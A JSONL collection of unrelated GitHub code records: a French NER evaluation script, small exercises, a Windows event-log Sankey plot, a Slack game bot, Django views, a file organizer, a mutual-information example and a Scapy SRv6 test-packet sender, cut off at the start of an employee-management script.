fichiers\n TSV générés peuvent servir à calculer précision, rappel et F-mesure.\n\n Les fichiers étalon et prévision sont des TSV avec au minimum deux colonnes.\n l'extension attendue de ces fichiers est '.bios.tsv'. Les fichiers ayant une\n autre extension seront ignorés. Seules les deux premières colonnes seront\n considérées par le script. Les fichiers étalon et prévision doivent être en\n nombre égal et avoir les mêmes suffixes. On attend que les fichiers étalon\n aient un préfixe 'Gold_' et les fichiers prévision 'Predictions_'.\n\n Un example de hiérarchie de fichier pour le script:\n ├── Predictions_LVP\n │ ├── Predictions_chapitre1.bios.tsv\n │ └── Predictions_chapitre2.bios.tsv\n └── Gold_LVP\n ├── Gold_chapitre1.bios.tsv\n └── Gold_chapitre2.bios.tsv\n\n Où chaque fichier aura au moins deux colonnes, une contenant les tokens et\n l'autre les annotations au format BIOES:\n token1\tO\n token2\tS-Label1\n token3\tO\n\n token4\tB-Label2\n token5\tE-Label2\n [...]\n\n Les fichiers de sortie auront alors la forme suivante:\n TOKEN\tPREDICTION\tGOLD\tVALIDITY\n token1\tO\tO\t1\n token2\tS-LABEL1\tS-LABEL1\t1\n token3\tO\tO\t1\n token4\tB-LABEL2\tS-LABEL2\t0\n token5\tE-LABEL2\tO\t0\n [...]\n\n Considérons que vous avez donné 'eval_LVP' comme répertoire de sortie. La\n hiérarchie de fichier finale aura alors la forme:\n ├── Predictions_LVP\n │ ├── Predictions_chapitre1.bios.tsv\n │ └── Predictions_chapitre2.bios.tsv\n └── Gold_LVP\n │ ├── Gold_chapitre1.bios.tsv\n │ └── Gold_chapitre2.bios.tsv\n └── eval_LVP\n ├── Predictions_chapitre1.predictions_vs_gold.tsv\n └── Predictions_chapitre2.predictions_vs_gold.tsv\n\nexemples d'utilisation:\n python 5-generer-tsv-avec-gold-et-predictions.py -h\n python 5-generer-tsv-avec-gold-et-predictions.py corpus-annotations-golds/Gold_LVP evaluation/L3i_NERC-EL/LVP\n python 5-generer-tsv-avec-gold-et-predictions.py corpus-annotations-golds/Gold_LVP evaluation/L3i_NERC-EL/LVP -o sortie\n\"\"\"\n\nimport pathlib\nimport re\nimport os\n\n\ndef readconll(filepath, encoding=\"utf-8\"):\n # tokens has 3 values: line numbers, tokens, labels\n # lines numbers are useful when there is a misalignment\n data = [[], [], []]\n with open(filepath, encoding=encoding) as input_stream:\n for lineno, line in enumerate(input_stream, 1):\n if not line.strip():\n continue\n if line.startswith('TOKEN\t'):\n continue\n parts = line.strip().split()\n data[0].append(lineno)\n data[1].append(parts[0])\n data[2].append(parts[1])\n return data\n\n\ndef normalize_tag(tag):\n tag = tag.upper()\n\n if tag == \"O\":\n return tag\n\n flag = tag[0]\n label = tag[2:]\n prefixes = [\"PER\", \"LOC\", \"ORG\", \"PROD\", \"MISC\"]\n for prefix in prefixes:\n if label.startswith(prefix):\n return f\"{flag}-{prefix}\"\n\n return tag\n\n\ndef main(gold, predictions, output_directory=None):\n goldpath = pathlib.Path(gold)\n hyppath = pathlib.Path(predictions)\n output_directory = pathlib.Path(output_directory or predictions)\n\n try:\n os.makedirs(output_directory)\n except FileExistsError:\n pass\n\n goldfiles = sorted(goldpath.glob(\"Gold_*.bios.tsv\"))\n hypfiles = sorted(hyppath.glob(\"Predictions_*.bios.tsv\"))\n\n if len(goldfiles) != len(hypfiles):\n raise RuntimeError(\n f\"Different number of gold and hypothesis files: {len(goldfiles)} vs {len(hypfiles)}\"\n )\n\n for goldfile, hypfile in zip(goldfiles, hypfiles):\n print(f\"hyp: {hypfile}\")\n print(f\"gold: {goldfile}\")\n lineno_g, tokens_g, labels_g = readconll(goldfile)\n lineno_h, tokens_h, labels_h = readconll(hypfile)\n labels_g = [normalize_tag(l) for l in labels_g]\n labels_h = [normalize_tag(l) for l in labels_h]\n len_g = len(lineno_g)\n len_h = len(lineno_h)\n diffcontents = False\n\n for i in range(max(len_g, len_h)):\n tok_g = tokens_g[i]\n tok_h = tokens_h[i]\n diffcontents = tok_g.lower() != tok_h.lower()\n if diffcontents:\n print(\n f\"Different tokens at lines gold@{lineno_g[i]} <> hyp@{lineno_h[i]}:\"\n f\" expected '{tok_g}', got '{tok_h}'\"\n )\n\n if len_g != len_h:\n print(f\"Different number of lines: {len(lineno_g)} vs {len(lineno_h)}\", file=sys.stderr)\n print(\"skipping...\\n\")\n continue\n\n name = re.sub(\".bios.tsv$\", \".predictions_vs_gold.tsv\", hypfile.name, flags=re.M)\n outpath = output_directory / name\n print(f\"out: {output_directory / name}\")\n print(f\"len: {len_g}\")\n with open(outpath, \"w\", encoding=\"utf-8\") as output_stream:\n output_stream.write(\"TOKEN\tPREDICTION\tGOLD\tVALIDITY\\n\")\n for token, prediction_label, gold_label in zip(tokens_g, labels_h, labels_g):\n validity = int(prediction_label == gold_label)\n output_stream.write(f\"{token}\t{prediction_label}\t{gold_label}\t{validity}\\n\")\n print()\n\n\nif __name__ == \"__main__\":\n import sys\n import argparse\n\n parser = argparse.ArgumentParser(\n description=__doc__, formatter_class=argparse.RawTextHelpFormatter\n )\n\n parser.add_argument(\"gold\", help=\"The input directory for gold data\")\n parser.add_argument(\"predictions\", help=\"The input directory for system data\")\n parser.add_argument(\"-o\", \"--output-directory\", help=\"The output directory\")\n args = parser.parse_args()\n\n main(**vars(args))\n sys.exit(0)\n","repo_name":"OBVIL/Entites-nommees","sub_path":"scripts/5-generer-tsv-avec-gold-et-predictions.py","file_name":"5-generer-tsv-avec-gold-et-predictions.py","file_ext":"py","file_size_in_byte":5849,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16901243772","text":"\"\"\"\nThis file answers problem 3: \n\nWrite a simple Python function that produces the alternating\ndifference of a list of numbers. For example:\naltDif([3 5 4]) = 3 - (5 - 4) = 3 - 1 = 2\naltDif([6 7]) = 6-7 = -1\n\"\"\"\n\ndef alt_diff(nums):\n if not nums:\n return 0\n else:\n head, *tail = nums\n diff_val = head - alt_diff(tail)\n return diff_val\n\nif __name__ == '__main__':\n test_input = [\n [3, 5, 4],\n [6, 7],\n [1, 2, 3, 4],\n [29, -23, 1],\n ]\n for t_input in test_input:\n output = alt_diff(t_input)\n print('input:', t_input, '\\t', 'output:', output)\n\n","repo_name":"Harrichael/algorithms-cs-5200","sub_path":"hw1/p3/alt_diff.py","file_name":"alt_diff.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39801719415","text":"class Flower():\n def __init__(self):\n self.name = \"glass\"\n self.num = 0\n self.price = 0\n def setName(self,name):\n self.name = name\n def setNum(self,num):\n self.num = num\n def setPrice(self,price):\n self.price = price\n def getValue(self):\n return \"name:\" + self.name + \" price:\" + str(self.price) + \" petals amount:\" + str(self.num)\n\ndef enter():\n while True: \n name = input(\"please input the name:\")\n if name.isalpha() == True:\n break\n else:\n print(\"please only input letters\")\n while True:\n num = input(\"please input the number of petals:\")\n if num.isdigit() == True:\n num = int(num)\n if num > 0:\n break\n else:\n print(\"number should be greater than 0\")\n else:\n print(\"pleae input integers\")\n while True:\n price = input(\"pleae input the price:\")\n try:\n price = float(price)\n if price >= 0:\n break\n else:\n print(\"the price should not be negative\")\n except:\n print(\" Price shoule be number.\")\n one = Flower()\n one.setName(name)\n one.setNum(num)\n one.setPrice(price)\n print(one.getValue())\n\nenter()","repo_name":"MaggieWensiLyu/csc1002","sub_path":"csc1001/Q1 A3.py","file_name":"Q1 A3.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21087701638","text":"import os\n\nimport plotly.graph_objects as go\nimport json\nimport vars\nimport jsonlines\n\n\ndef create_sankey(source_field, target_field):\n usernames = list()\n sources = list()\n targets = list()\n values = list()\n\n links = list()\n\n for filename in os.listdir(vars.TMP_DIR):\n f = os.path.join(vars.TMP_DIR, filename)\n with jsonlines.open(f) as reader:\n for item in reader:\n if \"EventData\" in item[\"Event\"].keys():\n event_data = item[\"Event\"][\"EventData\"]\n if event_data and source_field in event_data.keys():\n if target_field in event_data.keys():\n if event_data[source_field] == \"-\" or event_data[target_field] == \"-\":\n continue\n\n if event_data[source_field] not in usernames:\n usernames.append(event_data[source_field])\n\n if event_data[target_field] not in usernames:\n usernames.append(event_data[target_field])\n\n links.append((usernames.index(event_data[source_field]),\n usernames.index(event_data[target_field])))\n\n links_processed = list()\n\n for link in links:\n if link in links_processed:\n continue\n\n num_link_occurs = links.count(link)\n sources.append(link[0])\n targets.append(link[1])\n values.append(num_link_occurs)\n links_processed.append(link)\n\n fig = go.Figure(data=[go.Sankey(\n valueformat=\".0f\",\n valuesuffix=\"TWh\",\n node=dict(\n pad=15,\n thickness=20,\n line=dict(color=\"black\", width=0.5),\n label= usernames,\n color=\"blue\"\n ),\n link=dict(\n source=sources, # [0, 1, 0, 2, 3, 3], # indices correspond to labels, eg A1, A2, A1, B1, ...\n target=targets, # [2, 3, 3, 4, 4, 5],\n value=values # [8, 4, 2, 8, 4, 2]\n ))])\n fig.update_layout(title_text=\"Interacting computers\", font_size=10)\n\n return fig\n","repo_name":"NVISOsecurity/evtx-hunter","sub_path":"app/graphing/sankey.py","file_name":"sankey.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"32"} +{"seq_id":"36561633249","text":"import re\n\nfrom game import models\n\n\nclass ValidationException(Exception):\n pass\n\n\nclass Command:\n AVAILABLE_ACTIONS = [\"new\", \"start\", \"reinforce\", \"attack\", \"move\", \"state\", \"help\"]\n\n def __init__(self, data):\n self.user_id = data[\"user_id\"]\n self.user_name = data[\"user_name\"]\n self.text = data[\"text\"]\n\n def execute(self):\n try:\n action, arguments = Command.parse_command(self.text)\n Command.validate(action, arguments)\n return GameCommand(self.user_id, self.user_name, action, arguments).execute()\n except ValidationException as e:\n return e\n\n def parse_command(text):\n text = text.strip()\n if len(text) == 0:\n raise ValidationException(\"Empty command\")\n text = text.split(\" \", 1)\n action = text[0].lower()\n arguments = text[1].strip() if len(text) > 1 else \"\"\n\n return action, arguments\n\n def validate(action, arguments):\n if action not in Command.AVAILABLE_ACTIONS:\n raise ValidationException(\"Unknown Command\")\n for command in Command.AVAILABLE_ACTIONS:\n if command not in [\"start\", \"help\", \"state\"] and len(arguments) == 0:\n raise ValidationException(\"No arguments provided\")\n\n\nclass GameCommand:\n\n def __init__(self, user_id, user_name, action, arguments):\n self.user_id = user_id\n self.user_name = user_name\n self.action = action\n self.arguments = arguments\n self.player = None\n self.game = None\n self.player_game = None\n\n def get_player(user_id=None, user_name=None):\n player, _ = models.Player.objects.update_or_create(\n slack_id=user_id, defaults={\"name\": user_name})\n return player\n\n def get_player_game(player):\n for player_game in player.playergame_set.all():\n if player_game.game.is_active():\n return player_game\n\n def parse_players(arguments):\n pattern = r\"<@([^)]+?)>\"\n matches = re.findall(pattern, arguments)\n for match in matches:\n user_id, user_name = match.split(\"|\")\n yield GameCommand.get_player(user_id, user_name)\n\n def execute(self):\n self.player = GameCommand.get_player(self.user_id, self.user_name)\n self.player_game = GameCommand.get_player_game(self.player)\n self.game = self.player_game.game\n if self.action == \"new\":\n return self.new()\n\n def new(self):\n players = list(GameCommand.parse_players(self.arguments)) + [self.player]\n\n # Check players length\n if len(players) < 3:\n raise ValidationException(\"Not enough players\")\n\n # Check if players are already in a game\n for player in players:\n if player.is_in_game():\n raise ValidationException(f\"{str(player)} is already in game\")\n\n game = models.Game.objects.create()\n game.init(players)\n game.save()\n return \"Game initialized\"\n\n def start(self):\n # Checking state\n if self.game.state != \"waiting_for_reinforcements\":\n raise ValidationException(f\"Game cannot be started. In state: {self.game.state}\")\n\n # Check if all players are ready\n","repo_name":"mtmvu/slack-risk-game","sub_path":"game/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23832945989","text":"#from django.shortcuts import render\nfrom rest_framework import generics\nfrom rest_framework.views import APIView\nfrom articles.models import Article\nfrom articles.serializers import ArticleListSerializer, ArticleCreateUpdateSerializer, ArticleDetailSerializer\n\nclass ArticleListAPIView(generics.ListAPIView):\n serializer_class = ArticleListSerializer\n #filter_backends= [SearchFilter, OrderingFilter]\n #permission_classes = [AllowAny]\n #search_fields = ['title', 'content', 'user__first_name']\n #pagination_class = PostPageNumberPagination #PageNumberPagination\n\n def get_queryset(self, *args, **kwargs):\n #queryset_list = super(PostListAPIView, self).get_queryset(*args, **kwargs)\n queryset_list = Article.objects.all() #filter(user=self.request.user)\n # query = self.request.GET.get(\"q\")\n # if query:\n # queryset_list = queryset_list.filter(\n # Q(title__icontains=query)|\n # Q(content__icontains=query)|\n # Q(user__first_name__icontains=query) |\n # Q(user__last_name__icontains=query)\n # ).distinct()\n return queryset_list\n\nclass ArticleCreateAPIView(generics.CreateAPIView):\n queryset = Article.objects.all()\n serializer_class = ArticleCreateUpdateSerializer\n #permission_classes = [IsAuthenticated]\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\nclass ArticleDetailAPIView(generics.RetrieveAPIView):\n queryset = Article.objects.all()\n serializer_class = ArticleDetailSerializer\n lookup_field = 'slug'\n #permission_classes = [AllowAny]\n #lookup_url_kwarg = \"abc\"\n","repo_name":"ankitmlive/prolab-api","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35775217302","text":"import argparse\nimport os\n#importing local modules\nfrom modules.extension import byExtension\nfrom modules.dateModified import byDateModified\nfrom modules.fileSize import byFileSize\nfrom modules.alphabet import byAlphabet\n\n#main function which call all other functions\ndef main(organizeBy, directory):\n if organizeBy == \"byextension\":\n print(\"Organizing By File extension...\")\n byExtension(directory) \n elif organizeBy == \"bydatemodified\":\n print(\"Organizing By Date Modified...\")\n byDateModified(directory)\n elif organizeBy == \"byfilesize\":\n print(\"Organizing By File Size...\")\n byFileSize(directory)\n elif organizeBy == \"byalphabet\":\n print(\"Organizing by Alphabets...\")\n byAlphabet(directory)\n \n#to validate the path string provided by user\ndef validate_folder_path (user_path):\n if not os.path.exists(user_path):\n raise argparse.ArgumentTypeError(\"'{}' path doesn't exist\".format(user_path))\n return user_path\n\n#driver code\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n cwd = os.getcwd()\n parser.add_argument(\"--organize\", \n help=\" Current default = byextension. Use lower alphabets only!\",\n default=\"byextension\",\n choices=[\"byfilesize\", \"bydatemodified\", \"byalphabet\", \"byextension\"])\n parser.add_argument(\"--directory\", help=\"Enter Folder Path within double quotes\"\n + \" Current Default = {} (Current Directory)\".format(cwd),type=validate_folder_path,\n default=cwd)\n args = parser.parse_args()\n \n main(args.organize, args.directory)\n ","repo_name":"rajeshryank/miniprojects","sub_path":"JunkFileOrganiser/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22004622932","text":"import sys\nsys.path.insert(0, \"/vagrant/louis/pyroute2\")\nsys.path.insert(0, \"/vagrant/scapy\")\n\nfrom scapy.all import IPv6, IPv6ExtHdrSegmentRouting, UDP, Raw\nfrom scapy.all import send\n\nimport time\nimport math\nimport argparse\n\nclass WrongPacketSize(Exception):\n pass\n\ndef craft_srv6_packet(args, payload) -> IPv6:\n pkt = IPv6()\n pkt.src = args.source\n\n if args.destination:\n pkt.dst = args.destination\n else:\n pkt.dst = args.segments[-1]\n\n # Segment Routing Header\n srh = IPv6ExtHdrSegmentRouting()\n srh.addresses = args.segments\n srh.lastentry = len(srh.addresses) - 1\n pkt = pkt / srh\n\n # Transport layer\n transport = UDP(sport=123, dport=args.port)\n pkt = pkt / transport\n\n # Payload\n pkt = pkt / Raw(payload)\n \n if args.verbose:\n pkt.show()\n\n return pkt\n\n\ndef send_packets_default(args) -> None:\n\n #payload_template = lambda: f\"FFFEEE, Scapy number {i}! \\\n # Lorem ipsum dolor sit amet, consectetur adipiscing elit. \\\n # Donec lacinia nulla a elit euismod porta quis quis dolor.\"\n payload_template = lambda: f\"{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}{i}\"\n\n for i in range(int(args.number_packets)):\n pkt = craft_srv6_packet(args, \"\".join([str(i)] * args.length))\n # pkt = craft_srv6_packet(args, f\"{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}{args.p}\"[:(i % 26) + 10])\n send(pkt, count=args.block)\n time.sleep(args.sleep_time)\n\n if args.verbose:\n print(f\"Sending packet #{i}\")\n \n if args.verbose:\n print(f\"Sent {args.number_packets} packet!\")\n\n\ndef send_packets_from_file(args) -> None:\n filename, packet_size = args.file\n packet_size = int(packet_size)\n if packet_size < 1:\n raise WrongPacketSize()\n with open(filename, \"r\") as fd:\n all_payload = fd.read()\n nb_packets = math.ceil(len(all_payload) / packet_size)\n for i in range(nb_packets):\n packet_payload = all_payload[i * packet_size: (i+1) * packet_size]\n pkt = craft_srv6_packet(args, packet_payload)\n send(pkt, count=args.block)\n time.sleep(args.sleep_time)\n\n if args.verbose:\n print(f\"Sending packet #{i}\")\n print(f\"Sent {nb_packets} packets !\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Send Scapy packets for FEC SRv6 plugin\")\n parser.add_argument(\"-b\", \"--block\", help=\"Number of packets per block\", type=int, default=1)\n parser.add_argument(\"-n\", \"--number_packets\", help=\"Number of packets to send\", type=int, default=10)\n parser.add_argument(\"-s\", \"--segments\", help=\"List of segments of the packet\", nargs=\"+\", default=[\"2042:dd::1\", \"fc00::9\", \"fc00::a\"])\n parser.add_argument(\"-c\", \"--source\", help=\"Source of the SRv6 packet\", default=\"2042:aa::2\")\n parser.add_argument(\"-t\", \"--sleep_time\", help=\"Time in seconds between two consecutive packets\", type=float, default=0.001)\n parser.add_argument(\"-f\", \"--file\", help=\"Input file to find the payload. First=filename, second=packet size\", nargs=\"+\", default=None)\n parser.add_argument(\"-v\", \"--verbose\", help=\"Print debug messages\", action=\"store_true\")\n parser.add_argument(\"-d\", \"--destination\", help=\"Packet destination if no segments\", type=str, default=None)\n parser.add_argument(\"--port\", help=\"destination port\", type=int, default=4444)\n parser.add_argument(\"-p\", type=str, default=0)\n parser.add_argument(\"--length\", type=int, default=30)\n args = parser.parse_args()\n\n print(args, file=sys.stderr)\n\n if args.file:\n send_packets_from_file(args)\n else:\n send_packets_default(args)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"louisna/FEC-SRv6-libbpf","sub_path":"experiments/ipmininet_topo/scapy_send_packets.py","file_name":"scapy_send_packets.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"71511786012","text":"# -*- coding: utf-8 -*-\n\nAPI_TOKEN = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'\n\n#default_reply = '入力が正しくありません。わからない場合はGMに問い合わせてください。'\n\nPLUGINS = [\n 'plugins',\n]\n\n#ERRORS_TO = 'bot_errors'\n\nALIASES = '.'\n","repo_name":"yamasakih/haggle-bot","sub_path":"haggle/slackbot_settings.py","file_name":"slackbot_settings.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71959355611","text":"__version__ = \"0.0.1\"\n\nimport pymongo\nimport math\nfrom util import *\nfrom flask import Flask, request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\ncors = CORS(app, resources={\"*\": {\"origins\": \"*\"}})\nmongo = pymongo.MongoClient(\"mongodb://172.16.46.202:27017/\",\n serverSelectionTimeoutMS=1000)\ndb = mongo.labeling\n\n\n@app.route('/')\n@api\ndef version():\n return {\"version\": __version__}\n\n\n@app.route('/', methods=['GET'])\n@api\ndef get_schema(dataset):\n schema = db.schemas.find_one({\"dataset\": dataset})\n if not schema:\n raise KeyError('schema not found')\n del schema['_id']\n return schema\n\n\n@app.route('/', methods=['PUT'])\n@api\ndef update_schema(dataset):\n schema = request.json\n schema['fields'] = \\\n [{'key': 'id', 'label': 'ID', 'type': 'text'}] + schema['fields']\n r = db.schemas.replace_one({\"dataset\": dataset},\n dict(dataset=dataset, **schema),\n upsert=True)\n return {\"acknowledged\": r.acknowledged}\n\n\n@app.route('//page/', methods=['GET'])\n@api\ndef get_page(dataset, page):\n cursor = db[dataset].find().skip(50 * (page - 1)).limit(50) # page conf\n documents = [{k: v for k, v in doc.items() if k != '_id'}\n for doc in cursor]\n return {\"documents\": documents,\n \"total\": math.ceil(db[dataset].count() / 50)}\n\n\n@app.route('//', methods=['GET'])\n@api\ndef get_item(dataset, itemid):\n item = db[dataset].find_one({'id': itemid})\n if not item:\n raise KeyError('item not found')\n del item['_id']\n return item\n\n\n@app.route('//', methods=['PUT'])\n@api\ndef update_item(dataset, itemid):\n document = request.json\n r = db[dataset].replace_one({'id': itemid}, dict(id=itemid, **document),\n upsert=True)\n return {\"acknowledged\": r.acknowledged}\n","repo_name":"yxonic/labeling-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13388531585","text":"#/usr/bin/python3\n\ngiden = open('giden.txt','r')\ngline = giden.readlines()\n\ntotal = open('group_template.csv','r')\ntline = total.readlines()\n\nfor line in tline:\n\ttot = line.strip()\n\n\tcnt = 0\n\n\tfor line2 in gline:\n\t\t\n\t\tif line2.strip().upper() in tot:\n\n\t\t\tbreak\n\n\t\telse:\n\n\t\t\tcnt += 1\n\n\t\t\t#Total number of duplicates 1465\n\t\t\tif cnt >= 1464:\n\n\t\t\t\tprint(tot)\n\n\n\n\n","repo_name":"EmreOvunc/MyDailyScripts","sub_path":"py3_compare.py","file_name":"py3_compare.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"32"} +{"seq_id":"72332793691","text":"\"\"\"\nMutual-information at the contact level\n=======================================\n\nThis example illustrates how to compute the mutual information inside each\nbrain region and also by taking into consideration the information at a lower\nanatomical level (e.g sEEG contact, MEG sensor etc.).\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\n\nfrom frites.dataset import DatasetEphy\nfrom frites.workflow import WfMi\nfrom frites.core import mi_nd_gg\nfrom frites import set_mpl_style\n\nimport matplotlib.pyplot as plt\nset_mpl_style()\n\n###############################################################################\n# I(Continuous; Continuous) case\n# ------------------------------\n#\n# Let's start by simulating by using random data in combination with normal\n# distributions. To explain why it could be interesting to consider the\n# information at the single contact level, we generate the data coming from one\n# single brain region ('roi_0') but with two contacts inside ('c1', 'c2').\n# For the first the contact, the brain data are going to be positively\n# correlated with the normal distribution while the second contact is going to\n# have negative correlations. If you concatenate the data of the two contacts,\n# the mix of positive and negative correlations break the monotonic\n# assumption of the GCMI. In that case, it's better to compute the MI per\n# contact\n\nn_suj = 3\nn_trials = 20\nn_times = 100\nhalf = int(n_trials / 2)\ntimes = np.arange(n_times)\n\nx, y, roi = [], [], []\nfor suj in range(n_suj):\n # initialize subject's data with random noise\n _x = np.random.rand(n_trials, 2, n_times)\n # normal continuous regressor\n _y = np.random.normal(size=(n_trials,))\n\n # first contact has positive correlations\n _x[:, 0, slice(30, 70)] += _y.reshape(-1, 1)\n # second contact has negative correlations\n _x[:, 1, slice(30, 70)] -= _y.reshape(-1, 1)\n\n x += [_x]\n y += [_y]\n roi += [np.array(['roi_0', 'roi_0'])]\n\n# now, compute the mi with default parameters\nds = DatasetEphy(x, y=y, roi=roi, times=times, agg_ch=True)\nmi = WfMi(mi_type='cc').fit(ds, mcp='noperm')[0]\n\n# compute the mi at the contact level\nds = DatasetEphy(x, y=y, roi=roi, times=times, agg_ch=False)\nmi_c = WfMi(mi_type='ccd').fit(ds, mcp='noperm')[0]\n\n# plot the comparison\nplt.figure()\nplt.plot(times, mi, label=\"MI across contacts\")\nplt.plot(times, mi_c, label=\"MI at the contact level\")\nplt.legend()\nplt.title('I(C; C)')\nplt.show()\n\n\n###############################################################################\n# I(Continuous; Discret) case\n# ---------------------------\n#\n# Same example as above except that this time the MI is compute between the\n# data and a discret variable\n\nx, y, roi = [], [], []\nfor suj in range(n_suj):\n # initialize subject's data with random noise\n _x = np.random.rand(n_trials, 2, n_times)\n # define a positive and negative offsets of 1\n _y_pos, _y_neg = np.full((half, 1), 1.), np.full((half, 1), -1.)\n\n # first contact / first half trials : positive offset\n _x[0:half, 0, slice(30, 70)] += _y_pos\n # first contact / second half trials : negative offset\n _x[half::, 0, slice(30, 70)] += _y_neg\n # second contact / first half trials : negative offset\n _x[0:half, 1, slice(30, 70)] += _y_neg\n # second contact / second half trials : positive offset\n _x[half::, 1, slice(30, 70)] += _y_pos\n\n x += [_x]\n y += [np.array([0] * half + [1] * half)]\n roi += [np.array(['roi_0', 'roi_0'])]\ntimes = np.arange(n_times)\n\n# now, compute the mi with default parameters\nds = DatasetEphy(x, y=y, roi=roi, times=times)\nmi = WfMi(mi_type='cd').fit(ds, mcp='noperm')[0]\n\n# compute the mi at the contact level\nds = DatasetEphy(x, y=y, roi=roi, times=times, agg_ch=False)\nmi_c = WfMi(mi_type='cd').fit(ds, mcp='noperm')[0]\n\n# plot the comparison\nplt.figure()\nplt.plot(times, mi, label=\"MI across contacts\")\nplt.plot(times, mi_c, label=\"MI at the contact level\")\nplt.legend()\nplt.title('I(C; D)')\nplt.show()\n\n\n###############################################################################\n# I(Continuous ; Continuous | Discret) case\n# -----------------------------------------\n#\n# Same example as above except that this time the MI is compute between the\n# data and a discret variable\n\n\nx, y, z, roi = [], [], [], []\nfor suj in range(n_suj):\n # initialize subject's data with random noise\n _x = np.random.rand(n_trials, 2, n_times)\n # define a positive and negative correlations\n _y_pos = np.random.normal(loc=1, size=(half))\n _y_neg = np.random.normal(loc=-1, size=(half))\n _y = np.r_[_y_pos, _y_neg]\n _z = np.array([0] * half + [1] * half)\n\n # first contact / first half trials : positive offset\n _x[0:half, 0, slice(30, 70)] += _y_pos.reshape(-1, 1)\n # first contact / second half trials : negative offset\n _x[half::, 0, slice(30, 70)] += _y_neg.reshape(-1, 1)\n # second contact / first half trials : negative offset\n _x[0:half, 1, slice(30, 70)] += _y_neg.reshape(-1, 1)\n # second contact / second half trials : positive offset\n _x[half::, 1, slice(30, 70)] += _y_pos.reshape(-1, 1)\n\n x += [_x]\n y += [_y]\n z += [_z]\n roi += [np.array(['roi_0', 'roi_0'])]\ntimes = np.arange(n_times)\n\n# now, compute the mi with default parameters\nds = DatasetEphy(x, y=y, z=z, roi=roi, times=times)\nmi = WfMi(mi_type='ccd').fit(ds, mcp='noperm')[0]\n\n# compute the mi at the contact level\nds = DatasetEphy(x, y=y, z=z, roi=roi, times=times, agg_ch=False)\nmi_c = WfMi(mi_type='ccd').fit(ds, mcp='noperm')[0]\n\n# plot the comparison\nplt.figure()\nplt.plot(times, mi, label=\"MI across contacts\")\nplt.plot(times, mi_c, label=\"MI at the contact level\")\nplt.legend()\nplt.title('I(C; C | D)')\nplt.show()\n\n###############################################################################\n# Xarray definition with multi-indexing\n# -------------------------------------\n#\n# Finally, we show below how to use Xarray in combination with pandas\n# multi-index to define an electrophysiological dataset\n\nx = []\nfor suj in range(n_suj):\n # initialize subject's data with random noise\n _x = np.random.rand(n_trials, 2, n_times)\n # normal continuous regressor\n _y = np.random.normal(size=(n_trials,))\n\n # first contact has positive correlations\n _x[:, 0, slice(30, 70)] += _y.reshape(-1, 1)\n # second contact has negative correlations\n _x[:, 1, slice(30, 70)] -= _y.reshape(-1, 1)\n # roi and contacts definitions\n _roi = np.array(['roi_0', 'roi_0'])\n _contacts = np.array(['c1', 'c2'])\n\n # multi-index definition\n midx = pd.MultiIndex.from_arrays([_roi, _contacts],\n names=('parcel', 'contacts'))\n # xarray definition\n _x_xr = xr.DataArray(_x, dims=('trials', 'space', 'times'),\n coords=(_y, midx, times))\n\n x += [_x_xr]\n\n# finally, define the electrophysiological dataset and specify the dimension\n# names to use\nds_xr = DatasetEphy(x, y='trials', roi='parcel', agg_ch=False, times='times')\nprint(ds_xr)\n","repo_name":"brainets/frites","sub_path":"examples/mi/plot_wf_mi_contact_level.py","file_name":"plot_wf_mi_contact_level.py","file_ext":"py","file_size_in_byte":7002,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"32"} +{"seq_id":"11188708677","text":"class Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n def backtrack(first=1, current=[], level=0):\n if len(current) == k:\n ans.append(current[:])\n for i in range(first, n + 1):\n if len(current) < k:\n current.append(i)\n backtrack(i + 1, current, level + 1)\n current.pop()\n\n ans = []\n backtrack()\n return ans","repo_name":"DhyeyMavani2003/Open-Source-Data-Structures-and-Algorithms-LeetCode-Grind-","sub_path":"77-combinations/77-combinations.py","file_name":"77-combinations.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8304068351","text":"#Создать информационную систему позволяющую работать с сотрудниками некой компании \\ студентами вуза \\ учениками школы.\n\nfrom model import add_employees, find_employees, changes_employees\nfrom logger import write_employees, 